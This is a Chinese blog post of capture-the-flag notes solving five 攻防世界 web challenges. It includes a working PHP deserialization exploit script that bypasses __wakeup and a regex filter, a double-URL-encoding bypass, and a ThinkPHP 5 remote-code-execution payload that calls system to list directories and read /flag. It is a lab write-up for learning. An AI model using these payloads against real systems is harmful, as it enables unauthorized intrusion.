攻防世界[刷题笔记]之Web方向(进阶区)1-5

Web方向(进阶区)

baby_web

题目来源: 暂无
题目描述:想想初始页面是哪个
题目附件: 暂无
题解
在这里插入图片描述
这里一般初始页面都是index.php,咱们直接进入查看
进入后会发现它会自动跳转到1.php。所以这里我们抓包看看。右键检查、点击网络,然后重新输入index.php,会发现这里被重定向了。
在这里插入图片描述
所以决定看看这个数据包的具体内容,这里咱们用burpsuit工具。
在这里插入图片描述
发送到Repeater模块
在这里插入图片描述
Send发送后看到index的正真包
在这里插入图片描述
这里找到真正的flag

Training-WWW-Robots

题目来源: 暂无
题目描述:暂无
题目附件: 暂无
题解
这里一看题目Robots,知道这里和Robots肯定有关系
直接进入robots.txt查看
在这里插入图片描述
找到flag页面,进入提交即可

robots.txt协议之前博客有讲,不了解的可以去看
网络安全学习之攻防世界[刷题笔记]
https://blog.csdn.net/qi_qi14/article/details/122642589?spm=1001.2014.3001.5502 的第二题。

PHP2

题目来源: 暂无
题目描述:暂无
题目场景:点击获取在线场景
题目附件: 暂无
题解
在这里插入图片描述
题目说:在这里插入图片描述
这里没思路先扫一下这个目录
在这里插入图片描述
发现什么也没有。
这时,可以看看phps文件

php文件将由web服务器和php可执行文件解释,您将永远看不到php文件背后的代码。如果将文件扩展名设为.phps,配置正确的服务器将输出源代码的彩色格式版本

在这里插入图片描述
然后对这个源码进行代码审计
第一个if就是get请求一个id变量,id赋值为admin
在这里插入图片描述
第二块:
在这里插入图片描述
urldecode进行一次解码

统一资源标识符(URI)所允许的字符分作保留与未保留,保留字符是那些具有特殊含义的字符。

之后拿解码的id再和admin比较
分析完毕后合起来看这个代码逻辑就是先get请求一个id,这个id再进入网址后会被浏览器解析,解析后和admin比较,比较不同后,再把id解析,再和admin比较。如果相等就输出key。
所以我们只需要把id编码两次再get请求上去即可。
在这里插入图片描述
这里使用burpsuit自带的编码工具
第一栏选择Plain
在这里插入图片描述
编码为URL
在这里插入图片描述
先编码一次
在这里插入图片描述
之后拿第一次编码的结果再编码一次
在这里插入图片描述
get上传变量id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
在这里插入图片描述
获取最后的flag

Web_php_unserialize

题目来源: XTCTF
题目描述:暂无
题目附件: 暂无
题解
进入后看到php代码
在这里插入图片描述
这里直接就上解题代码,代码都标注了详细的注释

<?php 
class Demo { //一个Demo类
    private $file = 'index.php';//定义了一个变量file赋值为index.php
    public function __construct($file) { //构造函数可以类比java的构造器,用于赋值
        $this->file = $file; 
    }
    function __destruct() { //__destruct是析构方法,允许在销毁一个类之前执行的一些操作或完成一些功能
        echo @highlight_file($this->file, true); //php highlight_file函数用于对文件进行PHP语法高亮显示
    }
    function __wakeup() { //当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法。
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
			//这里是提示fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { //isset判断是否设置了var变量
    $var = base64_decode($_GET['var']); //base64_decode解码的一种类型
    if (preg_match('/[oc]:\d+:/i', $var)) { //preg_match 函数用于执行一个正则表达式匹配。
		//[oc]:\d+:/i是正则表达式
        die('stop hacking!'); //匹配成功就退出die
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 


$key = new Demo('fl4g.php');
echo serialize($key);

//获取到O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
//这里先绕过_wakeup,因为这个函数在序列化一个对象成功后调用,所以我们只要修改这里的输出,让它不符合这个序列化规则,即可。
$keyy = serialize($key);
$keyy = str_replace(':1:',':2:',$keyy);//绕过_wakeup
//str_replace() 函数替换字符串中的一些字符
$keyy = str_replace('O:4','O:+4',$keyy);//绕过preg_match
//   /[oc]:\d+:/i 的匹配:[oc]对应O,:对应:。\d对应4.这里要改就只能改\d.  
//  因为这里4和+4是相同的,进行替换
echo base64_encode($keyy);//base64_decode,因为这调用了这个函数,所以我们需要编码一次
?>

运行之后获取到var的值
在这里插入图片描述
之后get上传var变量。拿到flag
在这里插入图片描述

php_rce

题目来源: 暂无
题目描述:暂无
题目附件: 暂无
题解

rce:RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。

在这里插入图片描述
这里显示ThinkPHP V5一个高性能框架还提示了rce,很大概率说明着是一个框架漏洞,这里在github上搜索这个框架
在这里插入图片描述
咱们找一个上去

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

传参后看到
在这里插入图片描述
ls%20…/…/…/
之后看到
在这里插入图片描述
cat /flag 得到flag
在这里插入图片描述

这里后面可以加linux命令,具体原因,请看博客
攻防世界[刷题笔记]之Web方向(练习区)(后半)command_execution题目
https://blog.csdn.net/qi_qi14/article/details/123573758?spm=1001.2014.3001.5502

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

七七高7777

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值